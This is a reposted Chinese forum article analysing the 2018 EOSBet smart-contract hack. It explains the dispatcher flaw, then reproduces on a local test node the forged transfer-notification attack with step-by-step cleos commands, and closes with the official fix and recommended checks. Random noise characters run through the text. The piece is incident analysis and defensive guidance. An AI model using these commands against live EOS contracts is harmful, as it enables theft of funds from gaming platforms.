Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
* t  r( c; K+ a5 N. c; G( M8 d+ g, |. U文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis, C; {" E  d4 M0 C$ R
0x00 背景
6 `2 U, H& k, r  ^/ m* B5 PEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。4 u1 d6 d( b9 l' n$ l+ K) ^

/ F7 f2 G) r( ~0 c  S& G0x01 技术分析
+ J4 F, s- f: t由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
9 ?) n+ G% k& v/ ?2 v* W// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
4 D% }6 j* D" h$ ~5 D7 x# v5 O, X#define EOSIO_ABI_EX( TYPE, MEMBERS ) \: I! S" h: v" }, Y
extern "C" { \
1 I8 A& i! H0 T9 C        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
; h1 h. ^& U8 K) ^1 y                auto self = receiver; \
# ~) a, p; j0 X/ c2 R( j. N9 G                if( action == N(onerror)) { \
3 V' l+ c  C0 r7 P& `1 K                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \# n, K; F8 k) w0 a3 |1 t7 A7 G
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \. O5 A* j& G6 g3 W( U, ]" n3 x
                } \' v6 _$ E; ?4 i; f) G
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
% }0 ]4 m+ u, y3 }( [5 f8 H                        TYPE thiscontract( self ); \1 d! y6 w" H1 F) J0 I
                        switch( action ) { \
+ T/ Q7 b* P% I0 h3 t) K                                EOSIO_API( TYPE, MEMBERS ) \1 m1 o% w4 M4 F- w2 {6 E, Y
                        } \
( |" u- l! |. X; j7 f0 Y                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
' \+ V7 Y" `% {0 @0 U" a                } \9 E2 U: }/ R- o- c4 W
        } \
: |4 \5 f6 L8 t5 |' s}8 L+ j' q# _" Y$ ]) l
通过官方给出的EOSIO_ABI,问题主要出在以下代码3 v6 {, e' e6 |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \- t+ n* d$ U! i
                        TYPE thiscontract( self ); \+ l: b1 g/ L: ^7 k
                        switch( action ) { \
3 N+ D& X% `9 D8 x# f9 k1 R                                EOSIO_API( TYPE, MEMBERS ) \2 i& N+ A, T, N/ Z
                        } \9 t, Q& I9 a: p8 y$ d( m) O
                }& m4 ?* @$ |7 K! _' ~& \1 t! L% M
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
- ^5 A- @% D" P8 n9 a但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。( `& M5 D8 I% U8 {! P8 @  i/ X
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。. y- M% z, P, p! Z
0x02 攻击复盘6 }' l7 P6 I1 H
创建eosio.token账户
: r# e: R' [0 C8 Vcleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV% U2 Q' ~8 x+ i: C- ]0 w" p8 \
部署eosio.token合约并初始化
8 O% v0 b$ M- U4 \9 P# 部署合约# r, t/ P) X4 E  E- ^6 w1 i8 \4 e
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
, [+ J, O* f+ S8 h# 初始化合约& v: A3 m+ c0 x) ~/ j3 B" F5 r
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
% n! k: L5 Z3 ^4 X2 q1 C1 \9 X创建游戏账户、开奖账户和攻击者账户
+ o9 v' {( C2 t' h$ I4 f/ M#创建游戏账户和开奖账户7 j/ c5 l, i1 E4 k% c9 ?
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk8 X. D3 U6 T* k
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
1 z6 l5 g$ r) G5 l#创建攻击者账户
$ B) Z( H, y8 S  }cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk- O* \6 c$ |/ R7 Z
设置账户随机权限和开奖权限
/ @5 k, _9 f* y1 I, g. Q#设置权限
/ ]( t7 m+ r% Y  q* ~. hcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
! d( V7 G6 ]: s5 @; a! `$ Kcleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner! d7 i) s" N! Y" T* S, M4 b% L
#设置开奖权限, i! m( V: _2 `  c: T9 q
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
1 h/ j7 U) O& @- c向相关账户冲入代币
# R8 ~% A. b, l#往相关账户充值
! i9 F4 \6 N5 h- S' jcleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active" c' e9 I7 n; f; k
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
' B8 ?9 T: T) ]& j: z9 P. |  N![4.png]()( H- s0 Q/ v4 ]7 h, ?. z) ?5 S$ Z
部署游戏合约并初始化! U$ V4 S4 ~9 e! w# ^" K$ n
#部署游戏合约
! A$ }) C* ]; k( gcleos set contract eosbetdice11 /home/user/contracts/eosbetdice
! q; U) b) @7 \' S7 _: D#初始化游戏合约: \8 A5 \2 G9 A9 s# A8 W& _. x
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
% ^! \, b6 u: |" }; j* ?' q  W模拟黑客攻击(伪造转账通知)6 b* W  t6 J( M
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
( N1 m6 F4 Z7 O$ R) G; e- `2 U! t查询游戏订单
0 g7 w+ r3 t) c' K0 `5 @4 a: xcleos get table eosbetdice11 eosbetdice11 activebets
& W4 f  p: d( W: q7 \3 F, r* e6 T/ w( Y- @! _2 c/ {: }
可见,游戏订单已经生成,查询attacker和eosbetdice11账户* W5 P1 ]( k: A" E1 s0 E$ o
% u5 p  d! k; U  {& o( ?
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
- y1 G. N# \+ @最后对该订单进行开奖。
" A( `8 \- d$ R/ K$ [. Z" Pcleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random$ ]& {* P- ?% F9 v

" R4 R% w* v% j5 j0 U( m! M3 r7 E; d( g总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。, _/ M( z( q7 K0 Y" _
0x03 后记
1 e, B; C3 p$ ^; H% X: cEOSBet随后将修复方案公开
: X4 `/ k$ c2 @! l1 J+ ?2 J// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
5 n2 k4 U$ Q* m% h#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
; z2 l# G; e* v& A' z* g* ]' xextern "C" { \' a1 p$ ?  W. e1 h
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \# @" X, q* o; i* q
                auto self = receiver; \. Q2 ^0 U, D6 Q2 s: C
                if( code == self || code == N(eosio.token)) { \2 v" I  z& Z) {
                        if( action == N(transfer)){ \
! E1 [* i5 S- z$ W                                // 必须是eosio.token来调用合约自身的transfer函数
9 U+ V) A: Y4 x6 R                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
! M& G2 j  \0 v: h( _4 A                        } \7 ~) v; D% D& }/ ^4 G
                        TYPE thiscontract( self ); \
1 C. `1 Z1 S3 t3 ^                        switch( action ) { \. S0 O. Y) }$ g8 ]
                                EOSIO_API( TYPE, MEMBERS ) \
2 y) [+ ]/ f# I0 M/ j5 n                        } \
6 D& t, A% t5 V6 u1 g% E; l/ A                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
, A. Q# {8 J+ |                } \
2 {6 N* T# I  N& H  W( i" y        } \
1 {& P# _& Z4 f; L6 Z}
- ^( [! N' k7 M% Y; X可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D( o- U5 Q- g( K( B& ?* ~( z! J
0x04 修复方案# A3 r+ k* v2 z3 ~* t( ~+ J" y. V/ z
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:" j( s+ C! u- o0 @8 r2 r7 y8 c2 b

5 c* J2 w. [- J2 z! O通知是否来自eosio.token,即只处理eosio.token发送的通知
0 W8 k( A% Q" k) J: Q4 E- h; leosio_assert(code == N(eosio.token), "Must transfer from eosio.token");8 x& J; ^$ [, h) ~# F# ~* I6 u
+ F! D  X- ^% D" ?* G4 O! G- R
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知* y  P6 q2 K3 m  Q
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10